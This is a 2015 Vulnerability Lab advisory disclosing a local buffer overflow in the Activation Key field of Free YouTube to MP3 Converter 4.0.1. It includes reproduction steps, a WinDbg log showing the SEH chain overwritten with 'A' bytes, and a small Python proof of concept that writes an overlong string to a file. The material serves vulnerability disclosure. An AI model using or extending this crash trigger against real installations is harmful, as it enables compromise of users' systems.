Document Title:
===============
FreeYouTubeToMP3 Converter 4.0.1 - Buffer Overflow Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1613
Release Date:
=============
2015-10-06
Vulnerability Laboratory ID (VL-ID):
====================================
1613
Common Vulnerability Scoring System:
====================================
7.2
Product & Service Introduction:
===============================
Free YouTube to MP3 Converter is the world`s best software that lets you convert YouTube videos to MP3 and lossless. 300 Million people have enjoyed our
software so far! It is the best choice to convert playlists and user channels to MP3. Download the music you love. Download your favorite artists music
for a playback. Сonvert to MP3 keeping the best possible quality (up to 320 kbps). Music in bulk. Find playlists and YouTube channels to match your mood.
Download and convert in a moment. Pure sound. Convert to lossless. Formats available: WAV, FLAC, ALAC. Perfect match. Convert YouTube to any device possible.
Output formats: MP3, M4A, AAC, WMA, OGG. DVDVideoSoft`s products are freeware. In order to maintain product development and provide you with high-quality
software, DVDVideoSoft may bundle links to other websites and third-party apps installations including toolbars in its products. Every time DVDVideoSoft
products are installed, you have an obvious option to accept or opt-out of such installations.
(Copy of the Vendor Homepage: https://www.dvdvideosoft.com )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the official Free Youtube To MP3 Converter v4.0.1 software.
Vulnerability Disclosure Timeline:
==================================
2015-10-06: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
DVDVideoSoft Ltd.
Product: Free YouTube to MP3 Converter - Software (Windows) 4.0.1.1001
Exploitation Technique:
=======================
Local
Severity Level:
===============
High
Technical Details & Description:
================================
A classic buffer overflow vulnerability has been discovered in the official Free Youtube To MP3 Converter v4.0.1 software.
The local vulnerability allows to overwrite the registers of the software process to compromise the target computer system.
The vulnerability is located in the `Go Menu > Tools > Options > Key Activation` module. Local attackers are able to include
malicious unicode payload as `key` value (input) to crash the software via buffer overflow. Local attackers are able to takeover
the system process by an escalate of privileges in the local target computer system. The windows version of the software is affected
by the vulnerability. The vulnerable input is located in the activation key module.
The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.2.
Exploitation of the vulnerability requires a low privilege system user account and no user interaction. Successful exploitation of the local
vulnerability results in system compromise by elevation of privileges via overwrite of the registers.
Vulnerable Module(s):
[+] Go Menu > Tools > Options > Key Activation
Vulnerable Input(s):
[+] Activation Key
Affected Module(s):
[+] Activate
Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by local attackers with restricted account or system access and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Execute Free-YouTube-To-MP3-Converter.exe
2. Copy the AAAA...string from bof.txt to clipboard
3. Go Menu -> Tools -> Options
4. Paste it the input Activation Key AAAA....string click Activate
5. Software will Crash
6. Successful reproduce of the local buffer overflow vulnerability!
--- Debug Session Logs [WINDGB] ---
Access violation - code c0000005 (!!! second chance !!!)
eax=00316a30 ebx=41414141 ecx=41414141 edx=00000000 esi=00316a30 edi=00000000
eip=779071b4 esp=003169cc ebp=00316a1c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!KiFastSystemCallRet:
779071b4 c3 ret
0:000> !exchain
00319484: 41414141
Invalid exception stack at 41414141
0:000> d 00319484
00319484 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00319494 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194a4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194b4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194c4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194d4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194e4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194f4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
001e6a5c 776db2e6 001e6a70 001e6ac0 00000000 ntdll!KiFastSystemCallRet
001e6d90 776b0844 41414141 fffffffe fffffffe ntdll!RtlRemoteCall+0x236
001e6de0 7763f9be 41414141 0000004d 001e94b4 ntdll!EtwSetMark+0x14bea
001e6e60 77667117 001e6e78 001e6e94 001e6e78 ntdll!RtlGetGroupSecurityDescriptor+0x2b2
001e9334 41414141 41414141 41414141 41414141 ntdll!KiUserExceptionDispatcher+0xf
001e9338 41414141 41414141 41414141 41414141 0x41414141
PoC: Exploit
buffer = "\x41"*8538
seh = "\x42"*12
file = open("bof.txt","w")
file.write(buffer+seh)
file.close()
print "POC Created by ZwX"
print " Email: msk4@live.fr"
Solution - Fix & Patch:
=======================
The solution could be to restrict and filter the number of characters on input of the activation key.
Security Risk:
==============
The security risk of the local buffer overflow vulnerability in the software core is estimated as high. (CVSS 7.2)
Credits & Authors:
==================
ZwX - (http://zwx.fr/) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
